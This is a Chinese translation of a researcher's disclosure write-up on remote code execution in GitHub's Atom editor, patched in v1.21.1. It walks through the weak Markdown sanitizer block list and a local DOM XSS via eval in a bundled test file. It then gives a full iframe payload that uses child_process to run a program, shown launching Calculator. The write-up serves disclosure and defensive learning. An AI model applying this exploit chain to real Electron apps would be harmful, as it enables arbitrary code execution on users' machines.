译者：WisFree
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写在前面的话
近期，我对GitHub所使用的文本编辑器-Atom进行了分析，并成功地在Atom中找到了多个安全漏洞。通过研究之后，我成功地利用这些漏洞实现了远程代码执行。
当我将漏洞信息通过HackerOne上报给Atom的开发团队之后，这些漏洞已经在2017年10月12日发布的Atom v1.21.1中得到了修复。如果你想复现漏洞的话，可以参考GitHub上发布的旧版本代码【传送门】。
Web安全问题影响了桌面端App
Atom是基于Electron开发的，而Electron是一款用于开发桌面应用的跨平台框架，该框架使用的语言是JavaScript、HTML和CSS。
但是，这种框架也将某些常见的Web端安全问题带到了桌面端应用的身上，我们这里所指的安全问题就是跨站脚本漏洞（XSS）。由于整个应用程序的逻辑是基于JavaScript实现的，而一个跨站脚本漏洞就有可能导致攻击者实现任意代码执行。毕竟对于一款基于JavaScript实现的应用来说，攻击者能做到的跟开发者所能做的其实是差不多的。
当然了，我们也有很多方法来缓解Electron中的跨站脚本漏洞所带来的影响，但如果这些安全解决方案部署不当的话，它们还是有可能会被攻击者轻松绕过的。
使用内容安全策略缓解XSS
在开始分析漏洞之前，我们先来看一看GitHub是如何缓解Atom中的XSS问题的。没错，GitHub使用的就是内容安全策略（CSP）。如果你分析过Atom中index.html文件的代码的话，你将会看到如下所示的部署策略：
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">
<script src="index.js"></script>
</head>
<body tabindex="-1"></body>
</html>注意上述代码中的script-src 'self' 'unsafe-eval'，即它允许同源的JavaScript以及使用eval()构建的代码运行，但是禁止任何内联JavaScript运行。
简而言之，在下面给出的样例中，只有“index.js”中的JavaScript代码可以被执行，而alert(1)无法执行，因为它属于内联JavaScript：
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">
</head>
<!-- Following line will be executed since it is JS embedded from the same origin -->
<script src="index.js"></script>
<!-- Following line will not be executed since it is inline JavaScript -->
<script>alert(1)</script>
</html>
Atom如何解析Markdown文件？
在面对某些包含解析器或者预览功能的软件时，多花一些时间去研究相关组件往往会给我们带来意想不到的收获。在绝大多数场景中，软件的解析库一般都是使用某些第三方组件实现的，而且在实现这些组件的时候或多或少都会存在不同的安全问题。而组件的开发者跟使用者所想的也有可能不一样，比如说，开发者会假设提供给代码库的肯定是受信数据，而使用者可能会认为代码库会对不安全的数据进行过滤处理，这样也就导致了安全漏洞的产生。
所以，我首先要做的就是对Atom解析Markdown文件的过程进行分析，跟该组件相关的代码可以在GitHub的atom/markdown-preview找到。很快我便发现，Markdown解析器似乎还可以解析任意HTML文档：
接下来，我尝试注入了一段简单的JavaScript代码来判断Markdown代码库是否会过滤掉JavaScript代码。虽然内容安全策略在这里可以防止代码运行，但我这里只是想确认代码库是否实现了最基本的数据过滤（清洗）功能。事实证明，这里真的有…请大家看下面这张截图，其中的script语句没有显示在DOM之中：
在进行了简单的信息搜索之后，我发现“GitHub能够解析任意HTML文档”的这种功能实际上是他们故意这样设计的。因此，Markdown代码库才引入了这种数据清洗模式（一种自定义的数据过滤功能）：
sanitize = (html) ->
o = cheerio.load(html)
o('script').remove()
attributesToRemove = [
'onabort'
'onblur'
'onchange'
'onclick'
'ondbclick'
'onerror'
'onfocus'
'onkeydown'
'onkeypress'
'onkeyup'
'onload'
'onmousedown'
'onmousemove'
'onmouseover'
'onmouseout'
'onmouseup'
'onreset'
'onresize'
'onscroll'
'onselect'
'onsubmit'
'onunload'
]
o('*').removeAttr(attribute) for attribute in attributesToRemove
o.html()虽然这种数据过滤功能的保护性非常的弱，但我们不能使用on-listener(例如onClickListener)来绕过它，因为它可能会触发内容安全策略，这将导致恶意Payload无法被执行。
但是，我们可以注入其他类型的HTML Payload，我们先认真看一看之前那张屏幕截图：
很明显，Atom是以协议file://执行的，那如果我们创建一个恶意HTML文件并将其嵌入在本地文件之中呢？如果可以的话，该文件将会被视作是Electron的本地文件所提供的（符合同源策略），因此我们的JavaScript代码将会被执行。
所以我在主文件夹中创建了一个名叫hacked.html的文件，文件内容如下所示：
<script>
alert(1);
</script>接下来，我只需要在Markdown文档中使用一个iframe标签即可成功触发JavaScript代码：
配合本地DOM XSS
但是我现在还无法执行任意JavaScript代码，因为还有一个问题没解决：即漏洞的利用需要大量的用户交互：
1. 用户需要主动打开恶意的Markdown文档；
2. 用户需要打开Markdown文档的预览窗口；
3. 恶意Markdown文档还需要另一个包含恶意JavaScript代码的本地HTML文件存在；
而在真实的场景中，上述条件就显得有些牵强了。但是，如果我们能找到某个本地文件中存在DOM XSS漏洞的话，不就可以了吗？而这种情况更加适用于真实场景下的漏洞利用过程。
所以，我打算对Atom所绑定的HTML文件进行分析。幸运的是，在macOS系统中，应用程序本身就是一堆代码和文件。所以我们可以直接在/Applications/Atom.app/Contents目录中访问Atom bundle：
快速搜索bundle中的HTML文件后，我们得到了以下相关文件：
➜ Contents find . -iname "*.html"
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html
./Resources/app/apm/node_modules/clone/test-apart-ctx.html
./Resources/app/apm/node_modules/clone/test.html
./Resources/app/apm/node_modules/colors/example.html
./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html
./Resources/app/apm/node_modules/jsbn/example.html现在，你就可以使用静态分析技术来分析这些HTML文件了，不过你也可以进行手动分析。由于工作量不大，所以我选择进行手动分析，而文件/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html看起来似乎很有意思：
<html>
<head>
<meta charset="utf-8">
<title>Clone Test-Suite (Browser)</title>
</head>
<body>
<script>
var data = document.location.search.substr(1).split('&');
try {
ctx = parent[data[0]];
eval(decodeURIComponent(data[1]));
window.results = results;
} catch(e) {
var extra = '';
if (e.name == 'SecurityError')
extra = 'This test suite needs to be run on an http server.';
alert('Apart Context iFrame Errorn' + e + 'nn' + extra);
throw e;
}
</script>
</body>
</html>在document.location.search调用了eval()，而Atom的内容安全策略允许使用eval语句，因此我们只需要使用类似下面的这种语句就能够触发一个对话弹窗：
file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)实际上，我们只需要下面这种Markdown文档就能够执行任意JavaScript代码了：
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>
执行任意本地代码
正如我们之前所提到的，在一个Electron应用中执行恶意JavaScript代码也就意味着实现本地代码执行。在我们的分析场景中，最简单的实现方法就是访问window.top对象，然后使用NodeJS的require函数来访问child_process模块。下面给出的JavaScript代码将能够打开macOS的计算器程序：
<script type="text/javascript">
window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});
</script>刚才的漏洞利用代码经过URL编码后，形式如下：
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>打开恶意Markdown文档之后，Calculator.app将会运行：
远程实现所有操作
虽然我们刚才介绍的方法可以让Atom中的这些安全问题更加容易被攻击者所利用，但是它仍然需要目标用户手动打开攻击者所提供的恶意Markdown文档。不过需要注意的是，Atom能够呈现Markdown文档内容的地方可不止这一个。
通过使用grep搜索了Atom的源代码之后，我们发现其实还有一个模块能够解析Markdown文件，即Atom设置：atom/settings-view。实际上，这个模块所采用的数据清洗方法也同样存在安全问题：
const ATTRIBUTES_TO_REMOVE = [
'onabort',
'onblur',
'onchange',
'onclick',
'ondbclick',
'onerror',
'onfocus',
'onkeydown',
'onkeypress',
'onkeyup',
'onload',
'onmousedown',
'onmousemove',
'onmouseover',
'onmouseout',
'onmouseup',
'onreset',
'onresize',
'onscroll',
'onselect',
'onsubmit',
'onunload'
]
function sanitize (html) {
const temporaryContainer = document.createElement('div')
temporaryContainer.innerHTML = html
for (const script of temporaryContainer.querySelectorAll('script')) {
script.remove()
}
for (const element of temporaryContainer.querySelectorAll('*')) {
for (const attribute of ATTRIBUTES_TO_REMOVE) {
element.removeAttribute(attribute)
}
}
for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) {
checkbox.setAttribute('disabled', true)
}
return temporaryContainer.innerHTML
}实际上，Markdown的解析器同样会受到这些安全问题的影响，而且受影响程度也比较严重。
Atom还支持所谓的第三方“Packages”（包），这些代码包基本上都是社区提供的，可以从atom.io/packages获取。而这些包能够以Markdown格式定义README文档，而文档的内容将会在Atom设置窗口中呈现给用户。
因此，恶意攻击者只需要注册一大堆恶意包（包名可以跟现有的第三方包名类似），只要目标用户点击了这个包名（无需进行安装），那么嵌入在README文档中的恶意代码就能够被触发并执行。
GitHub如何修复这个问题？
我们在跟GitHub的开发人员进行了一系列探讨之后，最终得出了以下的漏洞修复策略：
1. 从bundle中删除一些不必要的HTML文件。
2. 使用DOMPurify来对Markdown文档的内容进行数据过滤。
虽然这种解决方案并不算十分完美，但是对于目前来讲也已经足够有效了。与此同时，GitHub也准备使用一种更加严格的Markdown解析器，但是这很有可能会影响很多现存用户的工作流程。